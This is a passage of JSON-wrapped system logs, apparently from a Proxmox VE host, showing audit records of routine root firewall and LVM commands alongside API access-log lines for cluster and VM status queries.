pid=63284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755103,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.103:66954): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966359753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964135602,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.602:59734): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965435748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.748:65598): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63010 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.856:65888): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755095,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.095:66953): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966359753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964135597,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.597:59733): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965435737,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.737:65597): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc149d10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63009 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505848,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.848:65887): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755086,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.086:66952): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966359753,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:18 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964135593,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.593:59732): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965435733,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.733:65596): arch=c000003e syscall=59 success=yes exit=0 a0=62b8769a2b20 a1=62b8769aee00 a2=62b87697c680 a3=5 items=2 ppid=63002 pid=63008 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.842:65886): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e0120 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965754692,"@rawstring":"node=pve type=EXECVE msg=audit(1781965754.692:66951): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966358743,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781964135589,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.589:59731): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965435729,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.729:65595): arch=c000003e syscall=59 success=yes exit=0 a0=62b841629ac8 a1=7fff7a010370 a2=62b87697c680 a3=62b84160d24e items=2 ppid=63002 pid=63004 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505831,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.831:65885): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1341a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965754655,"@rawstring":"node=pve type=EXECVE msg=audit(1781965754.655:66950): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966358743,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964135587,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.587:59730): argc=1 a0=\"date\""} {"@timestamp":1781965435728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.728:65594): arch=c000003e syscall=59 success=yes exit=0 a0=7fff7a010330 a1=62b87699e1c0 a2=62b87697c680 a3=5 items=2 ppid=63002 pid=63003 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505821,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.821:65884): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0fe890 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965754181,"@rawstring":"node=pve type=EXECVE msg=audit(1781965754.181:66949): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966357756,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964135583,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.583:59728): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965435722,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.722:65592): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504145,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965504.145:65883): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e05b0 a1=64f8d73e1610 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63278 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965754174,"@rawstring":"node=pve type=EXECVE msg=audit(1781965754.174:66946): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966357756,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964135576,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.576:59727): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965435713,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.713:65591): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63001 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965504123,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965504.123:65882): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d5325c80 a1=64f8d74099f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63277 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965749168,"@rawstring":"node=pve type=EXECVE msg=audit(1781965749.168:66943): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966355726,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 474"} {"@timestamp":1781964135569,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.569:59726): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965435703,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.703:65590): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63000 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503254,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965503.254:65881): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899560b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965749160,"@rawstring":"node=pve type=EXECVE msg=audit(1781965749.160:66940): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966355726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964135564,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.564:59725): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965435699,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.699:65589): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4fc10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62999 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965503246,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965503.246:65878): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955ff0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63273 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746074,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.074:66937): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966355726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:14 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964135558,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.558:59724): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965435689,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.689:65588): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148a40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62998 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498234,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965498.234:65875): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955f30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746071,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.071:66936): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966355726,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964135551,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.551:59723): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965435679,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.679:65587): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e20a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62997 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965498221,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965498.221:65872): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789955e70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746070,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.070:66935): argc=1 a0=\"date\""} {"@timestamp":1781966354721,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964134329,"@rawstring":"node=pve type=EXECVE msg=audit(1781964134.329:59722): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965434302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965434.302:65586): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d6e5c030 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62994 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.806:65869): arch=c000003e syscall=59 success=yes exit=0 a0=5b57379c80a0 a1=5b57379c4e20 a2=5b57379a6680 a3=5 items=2 ppid=63262 pid=63268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746065,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.065:66933): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966354721,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781964134295,"@rawstring":"node=pve type=EXECVE msg=audit(1781964134.295:59721): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965434274,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965434.274:65585): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e0610 a1=64f8d7412170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62993 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495802,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.802:65868): arch=c000003e syscall=59 success=yes exit=0 a0=5b56faf40ac8 a1=7ffcd76b62d0 a2=5b57379a6680 a3=5b56faf2424e items=2 ppid=63262 pid=63264 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746057,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.057:66932): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966353119,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964133053,"@rawstring":"node=pve type=EXECVE msg=audit(1781964133.053:59720): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965432981,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965432.981:65584): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62992 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.800:65867): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcd76b6290 a1=5b57379ad310 a2=5b57379a6680 a3=5 items=2 ppid=63262 pid=63263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746050,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.050:66931): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966353119,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781964133044,"@rawstring":"node=pve type=EXECVE msg=audit(1781964133.044:59717): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965432976,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965432.976:65581): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965495796,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.796:65865): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746043,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.043:66930): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966351792,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1123"} {"@timestamp":1781965427969,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965427.969:65578): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964128036,"@rawstring":"node=pve type=EXECVE msg=audit(1781964128.036:59714): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965495790,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.790:65864): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746035,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.035:66929): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966351792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965427959,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965427.959:65575): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964128022,"@rawstring":"node=pve type=EXECVE msg=audit(1781964128.022:59711): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965495783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.783:65863): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746029,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.029:66927): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966351792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:10 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965425667,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.667:65572): arch=c000003e syscall=59 success=yes exit=0 a0=576aab914ed0 a1=576aab911c50 a2=576aab8f3680 a3=5 items=2 ppid=62982 pid=62988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125539,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.539:59708): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965495776,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.776:65862): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965746022,"@rawstring":"node=pve type=EXECVE msg=audit(1781965746.022:66926): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966351792,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965425662,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965425.662:65571): arch=c000003e syscall=59 success=yes exit=0 a0=576a9950aac8 a1=7ffd4f44e960 a2=576aab8f3680 a3=576a994ee24e items=2 ppid=62982 pid=62984 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964125535,"@rawstring":"node=pve type=EXECVE msg=audit(1781964125.535:59707): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965495767,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965495.767:65861): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 